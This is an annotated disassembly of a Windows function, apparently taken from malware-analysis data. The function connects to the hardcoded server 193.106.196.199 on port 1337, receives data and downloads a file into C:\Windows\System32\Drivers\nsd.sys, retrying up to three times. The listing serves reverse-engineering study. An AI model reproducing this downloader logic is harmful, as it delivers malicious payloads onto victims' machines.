Function at 0x140013da0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov ecx, gethostbyname
call fcn.1400881dc
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_35
mov qword [rsp + 0x38], gethostbyname
movups xmm0, xmmword [str.C:WindowsSystem32Drivers_nsd.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008e1d8]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x14008e1e8]
mov word [rax + 0x20], cx
movzx ecx, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [rax + 0x22], cl
mov byte [rax + 0x23], dil
mov ecx, 0x202
lea rdx, [rbp + 0x380]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x140013e65
lea rdx, str.Error:_WSAStartup_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006990
lea rdx, [0x14000b770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
mov edx, 1
mov ebx, 2
mov ecx, ebx
call sub.WS2_32.dll_socket
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140013eb5
lea rdx, str.Error:_socket_creation_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006990
lea rdx, [0x14000b770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call sub.WS2_32.dll_WSACleanup
mov qword [rsp + 0x50], rdi
mov word [rsp + 0x48], bx
lea rcx, str.193.106.196.199
call sub.WS2_32.dll_inet_addr
mov dword [rsp + 0x4c], eax
mov ecx, 0x539
call sub.WS2_32.dll_htons
mov word [rsp + 0x4a], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x48]
mov rcx, r15
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x140013f31
lea rdx, str.Error:_connect_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006990
lea rdx, [0x14000b770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r15
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, r15
call sub.WS2_32.dll_recv
test eax, eax
jle 0x1400140cb
cdqe
mov byte [rbp + rax - 0x80], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013f72
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
call fcn.140006e10
call qword [fcn.140039fd0]
mov r14, rax
test rax, rax
je 0x140014089
mov ebx, 0xff
movabs r12, 0x7fffffffc46535ff
movabs r13, 0x7fffffffffffffff
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rcx, qword [rsp + 0x20]
lea rdx, [0x14008e258]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
je 0x140014028
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r8, qword [rsp + 0x58]
mov edx, 0x2712
mov rcx, r14
call qword [fcn.14003c7d0]
mov r8, rsi
mov edx, 0x2711
mov rcx, r14
call qword [fcn.14003c7d0]
mov rcx, r14
call qword [fcn.14003a090]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test ebx, ebx
je 0x140014080
mov ebx, 0xff
lea rcx, [rbp + 0x568]
call fcn.14001a8f0
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x560], rax
cmp rax, r12
je 0x140014062
mov ecx, 1
cmovl ecx, ebx
test cl, cl
jns 0x140014062
add rax, 0x3b9aca00
mov qword [rbp + 0x560], rax
jmp 0x140014069
mov qword [rbp + 0x560], r13
lea rcx, [rbp + 0x560]
call fcn.14000f630
inc edi
cmp edi, 3
jl 0x140013fb5
mov rcx, r14
call qword [0x14009d7b8]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400140f9
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400140c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400140c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140088220
jmp 0x1400140f9
lea rdx, str.Error:_Failed_to_server.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140006990
lea rdx, [0x14000b770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r15
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140014147
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014142
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014142
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140088220
mov rbx, qword [rsp + 0x670]
add rsp, 0x620
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret